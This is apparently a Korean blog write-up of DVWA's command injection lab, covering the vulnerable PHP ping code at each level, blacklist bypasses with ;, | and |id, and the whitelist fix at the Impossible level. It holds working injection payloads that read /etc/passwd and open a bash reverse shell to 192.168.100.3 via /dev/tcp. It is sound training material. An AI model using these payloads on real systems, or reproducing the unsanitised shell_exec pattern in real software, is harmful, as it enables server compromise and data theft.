Journey to Security/웹 보안

DVWA 문제풀이: Command Injection

Cordilog 2026. 5. 25. 21:36

1. Command Injection 개념

Command Injection은 사용자 입력값이 서버 측 OS 명령어 실행 함수(shell_exec, system, exec 등)에 그대로 전달될 때 발생하는 취약점이다.

공격자는 ;, &&, | 같은 명령어 구분자(separator)를 이용해 의도하지 않은 명령어를 추가 실행시킨다.

 

구분자 동작 방식
; 앞 명령 결과와 무관하게 순차 실행
&& 앞 명령이 성공해야 뒤 명령 실행
|| 앞 명령이 실패해야 뒤 명령 실행
| 앞 명령의 출력을 뒤 명령의 입력으로 전달

 

🔵 DVWA 실습 조건 : ping 기능

 

DVWA의 Command Injection 실습 화면을 보면 단순한 입력창 하나만 있다.

IP 주소를 입력하면 서버가 해당 IP로 ping을 실행하고 결과를 브라우저에 출력하는 구조다.

 

실제로 이런 기능은 네트워크 장비 관리 웹 UI서버 모니터링 대시보드 같은 실무 환경에서 자주 쓰인다.

서비스 유형 예시 기능
공유기/방화벽 관리 콘솔 "이 IP가 살아있는지 ping 테스트"
서버 모니터링 툴 "원격 서버 응답 확인"
IDC 네트워크 진단 페이지 "특정 구간 traceroute / ping 실행"
IoT 디바이스 관리 UI "기기 연결 상태 진단"

 

즉, 관리자가 웹 인터페이스에서 편리하게 네트워크 진단을 하려는 목적으로 만든 기능이다.

문제는 이 기능의 구현 방식이다.

🔵 서버 내부 흐름

 

 

핵심은 PHP 코드 내부의 이 한 줄이다.

$cmd = shell_exec( 'ping  -c 4 ' . $target );
//                  ↑ 고정 문자열    ↑ 사용자 입력을 그냥 붙임
 

shell_exec()는 전달받은 문자열을 OS 쉘에 그대로 넘겨 실행하는 함수다.

그런데 고정 명령어 문자열 뒤에 사용자 입력을 아무 검증 없이 문자열로 붙여버린다.

OS 입장에서는 최종적으로 전달된 문자열 전체를 명령어로 해석한다.

사용자가 127.0.0.1; id를 입력하면 OS가 받는 명령어는 다음과 같다.

ping -c 4 127.0.0.1; id

 

쉘은 ;를 명령어 구분자로 해석하기 때문에 pingid순서대로 두 개의 독립적인 명령어로 실행한다.

개발자가 의도한 것은 ping 하나뿐이지만, 공격자는 그 뒤에 원하는 명령을 마음대로 붙일 수 있게 된다.

이것은 웹 입력창이 곧 서버의 터미널이 되는 상황으로 Command Injection의 본질이다.

 

 

2. Low Level 실습

소스 코드

<?php
if( isset( $_POST[ 'Submit' ] ) ) {
    $target = $_REQUEST[ 'ip' ];

    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        $cmd = shell_exec( 'ping  ' . $target );
    } else {
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    echo "<pre>{$cmd}</pre>";
}
?>

 

$target에 대한 검증이 전혀 없다. 사용자 입력이 shell_exec()에 직접 연결된다.

다음과 같이 정상적인 요청을 하면 ping 결과만 화면에 출력된다. 

  • Input: 127.0.0.1
  • 실행: ping -c 4 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.017 ms
...
4 packets transmitted, 4 packets received, 0% packet loss
 
 

🔴; 를 이용한 명령어 삽입

1️⃣권한 정보 탈취

  • Input: 127.0.0.1; id
  • 실행: ping -c 4 127.0.0.1; id
...ping 결과...
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ping 결과 다음에 id 명령어가 실행되어 웹 서버 프로세스의 권한 정보가 노출된다.

 

2️⃣/etc/passwd 탈취

  • Input: 127.0.0.1; cat /etc/passwd

서버의 계정 정보 파일이 브라우저에 그대로 출력된다.

3️⃣ Reverse Shell 획득

공격자 측에서 먼저 리스너를 열어둔다.

nc -lvnp 443

 

DVWA 입력창에 다음을 삽입한다.

127.0.0.1; bash -c 'bash -i >& /dev/tcp/192.168.100.3/443 0>&1'

 

성공하면 공격자 nc 세션에 웹 서버의 bash 셸이 연결된다.
 
리버스셸 실습에 대한 자세한 설명은 아래 포스팅을 참고한다.
 
 

DVWA 문제풀이: Netcat을 이용한 Reverse Shell 공격

1. Reverse Shell이란?일반적인 원격 접속(Normal Shell)은 공격자가 피해 서버에 접속을 시도하는 방향이다.반면 Reverse Shell은 방향이 반대다.피해 서버가 공격자 쪽으로 먼저 연결을 맺는다. 이 방향 역

www.cordilog.com

 

 

3. Medium Level 실습

소스 코드

$substitutions = array(
    '&&' => '',
    ';'  => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

 

&& ;를 빈 문자열로 치환하는 블랙리스트 방식이다.

하지만 |(파이프)는 필터링하지 않기 때문에 파이프를 활용한 공격이 가능하다.

🔴 | (파이프) 활용 우회

  • Input: 127.0.0.1 | id
str_replace는 &&;만 제거하므로 |는 그대로 통과한다.

📌파이프(|) 의 동작 원리

파이프는 ;과 달리 앞 명령어의 stdout을 뒤 명령어의 stdin으로 연결한다.

즉, 앞 명령어의 출력이 화면으로 가지 않고 뒤 명령어의 입력으로 넘어간다.

ping의 stdout ──────→ id의 stdin
                       (id는 stdin을 무시하고
                        자기 할 일만 함)
                            ↓
                       id의 stdout → 화면 출력
                       uid=33(www-data)...
 
id 명령어는 stdin으로 뭔가 들어와도 완전히 무시하고 현재 사용자 정보만 출력한다.
ping의 결과는 id의 입력으로 넘어갔지만 id가 읽지 않으니 버려지는 것이다.
 

; 와 | 비교

 

구분자 앞 명령 결과 동작
ping IP ; id 화면에 출력됨 두 명령을 순서대로 독립 실행
ping IP | id 버려짐 ping 출력을 id 입력으로 연결, id가 무시
 
 

4. High Level 실습

소스 코드

$substitutions = array(
    '&'  => '',
    ';'  => '',
    '| ' => '',   // 파이프 + 공백 조합만 필터링
    '-'  => '',
    '$'  => '',
    '('  => '',
    ')'  => '',
    '`'  => '',
    '||' => '',
);

 

블랙리스트가 확장됐지만 '| '(파이프 + 공백)만 필터링하고 '|'(파이프 단독)는 필터링하지 않는 작은 버그가 존재한다.

 

🔴 공백 없이 파이프 사용

  • Input: 127.0.0.1|id

| id(파이프+공백+id)는 필터링되지만 |id(공백 없음)는 통과한다.

블랙리스트 방식은 구분자의 변형(variant)을 모두 예측하기 어렵다는 근본적 문제가 있다.

 

🔴 블랙리스트 방식의 한계

필터링 목록에 없는 구분자는 항상 우회 경로가 된다.

str_replace 동작을 직접 확인하는 테스트 코드를 작성해보면 이해가 쉽다.

<?php
$target = "127.0.0.1 && cat /etc/passwd | id";
$substitutions = array("&&" => '', ";" => '');
$target = str_replace(array_keys($substitutions), $substitutions, $target);
echo $target;
// 출력: 127.0.0.1  cat /etc/passwd | id
?>

 

&&는 제거됐지만 |는 필터링이 되지 않아 id 명령이 실행된다.

5. Impossible Level

소스 코드

<?php
if( isset( $_POST[ 'Submit' ] ) ) {
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // IP를 .으로 분리
    $octet = explode( ".", $target );

    // 각 옥텟이 숫자인지 검증
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) )
     && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) )
     && ( sizeof( $octet ) == 4 ) ) {

        $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
        echo "<pre>{$cmd}</pre>";
    } else {
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}
generateSessionToken();
?>

Impossible 레벨은 블랙리스트 대신 화이트리스트(Whitelist) 방식을 사용한다.

  1. CSRF 토큰 검증으로 요청 위조 방지
  2. 입력을 . 기준으로 4개 옥텟으로 분리
  3. 각 옥텟이 is_numeric()을 통과해야만 실행
  4. 검증된 숫자만으로 IP를 재조합 → 구분자가 입력될 여지 자체가 사라짐

127.0.0.1; id를 입력하면 옥텟 분리 시 ["127", "0", "0", "1; id"]가 되고 마지막 요소가 is_numeric() 검증을 실패하여 에러를 반환한다.

 
 

6. 정리

Command Injection 방어의 핵심은 "비정상적인 입력을 막는다"가 아니라 "정상적인 입력만 허용한다"는 사고방식의 전환이다.

블랙리스트 방식은 공격자가 새로운 구분자나 인코딩 변형을 사용할 때마다 뚫린다.

실무에서는 다음 원칙을 따른다.

  • 입력 유형이 IP라면 IP 형식만 허용 (is_numeric + explode 조합 또는 정규식)
  • OS 명령어 실행이 불가피하다면 escapeshellarg() / escapeshellcmd() 사용
  • 가능한 한 shell_exec, system, exec 사용을 피하고 언어 내장 라이브러리로 대체